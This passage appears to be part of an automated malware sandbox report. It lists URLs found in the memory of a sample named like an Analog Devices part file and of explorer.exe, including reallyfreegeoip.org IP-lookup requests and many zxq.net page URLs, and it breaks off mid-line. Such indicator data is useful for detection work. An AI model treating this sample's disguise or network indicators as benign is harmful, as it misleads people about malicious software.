https://news.google.com/publications/CAAqBwgKMJSRswswoazKAw?hl=en-US&gl=US&ceid=US%3Aen
Source: svchost.exe, 00000003.00000003.1674131814.0000020527CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.3.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033F2000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003488000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003461000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2939302241.0000000000402000.00000040.00000400.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000033F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.000000000341C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003488000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003461000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.000000000341C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33$
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192944806.0000000000786000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://schema.org
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004626000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004674000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000034AB000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004482000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.00000000044D0000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.00000000044F7000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.000000000474A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.000000000445E000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004602000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004725000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.000000000462D000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004489000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.00000000044D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004626000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004674000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.00000000034AB000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004482000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.00000000044D0000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.00000000044F7000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.000000000474A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.000000000445E000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004602000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004725000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.000000000462D000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.0000000004489000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2949396913.00000000044D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe, adsp-21593bbpz10 analog devices, inc. 5000.exe .0.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003595000.00000004.00000800.00020000.00000000.sdmp, adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003586000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2943424726.0000000003590000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB
Source: explorer.exe, 00000004.00000003.1850879482.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192944806.0000000000786000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/#logo
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/#organization
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/#website
Source: explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966720295.0000000003B86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/?p=187
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/?s=
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/about-us/
Source: explorer.exe, 00000004.00000003.2193041247.000000000076D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gif
Source: explorer.exe, 00000004.00000003.1850879482.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.000000000076D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifB
Source: explorer.exe, 00000004.00000003.2192944806.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966750322.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gife
Source: explorer.exe, 00000004.00000003.1966750322.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gife:
Source: explorer.exe, 00000004.00000003.2277116620.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifeJ
Source: explorer.exe, 00000004.00000003.2192944806.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifn
Source: explorer.exe, 00000004.00000003.2277116620.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifn2
Source: explorer.exe, 00000004.00000003.1850879482.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.000000000076D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifnJ
Source: explorer.exe, 00000004.00000003.1850879482.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966750322.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifnb
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/contact-us/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/customizable-online-games-a-personalized-gaming-experience/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/essential-renovation-tips-for-singapore-homes-sidestep-these-common-mistakes/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/exploring-the-world-of-progressive-online-games-how-they-are-redefining-player-excit
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/feed/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/finance-phantom-review-an-ai-trading-platform-that-offers-all-the-right-features/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/how-to-handle-quick-home-repairs-without-professional-help-in-singapore/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/mastering-renovations-key-ideas-to-prevent-common-mistakes-in-singapore-homes/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/news/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/news/business/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/news/entertainment/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/news/science-health/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/news/technology/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/privacy-policy/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/snoring-and-sleep-apnea/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/top-modern-security-devices-to-install-in-your-home/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/
Source: explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193017910.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966822467.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092874256.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1967981493.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/#
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/#breadcrumb
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/#webpage
Source: explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193017910.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966822467.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092874256.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1967981493.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/0
Source: explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193017910.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966822467.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092874256.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1967981493.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/1
Source: explorer.exe, 00000004.00000003.1848039203.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192944806.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/2
Source: explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193017910.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966822467.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092874256.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1967981493.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/H
Source: explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/I
Source: explorer.exe, 00000004.00000003.2192944806.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/J
Source: explorer.exe, 00000004.00000003.1848039203.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192944806.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966750322.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/LMEMp
Source: explorer.exe, 00000004.00000003.1966750322.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/Q
Source: explorer.exe, 00000004.00000003.1966720295.0000000003B86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/WC:
Source: explorer.exe, 00000004.00000003.1850963846.0000000000785000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/aC:
Source: explorer.exe, 00000004.00000003.2192944806.0000000000786000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850963846.0000000000785000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966750322.0000000000785000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/l
Source: explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193017910.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/o
Source: explorer.exe, 00000004.00000003.1966943077.000000000075C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092874256.000000000077E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093476582.0000000000754000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000075A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/qqC:
Source: explorer.exe, 00000004.00000003.1848039203.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/r
Source: explorer.exe, 00000004.00000003.1966750322.00000000007AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/what-happened-to-the-old-zxq-website/z
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.0000000000736000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B7F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1848039203.0000000000780000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.0000000000762000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851256895.0000000000782000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/plugins/table-of-contents-plus/front.min.js?ver=2106
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/plugins/table-of-contents-plus/screen.min.css?ver=2106
Source: explorer.exe, 00000004.00000003.1850879482.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192944806.0000000000786000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277297941.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/wp-content/themes/smart-mag/css/icons/fonts/ts-icons.woff2?v2.2
Source: explorer.exe, 00000004.00000003.1851311238.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193099768.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277017820.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093559653.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277251255.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093600832.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192888722.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093667503.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847892635.0000000003B87000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1847756855.0000000003B86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 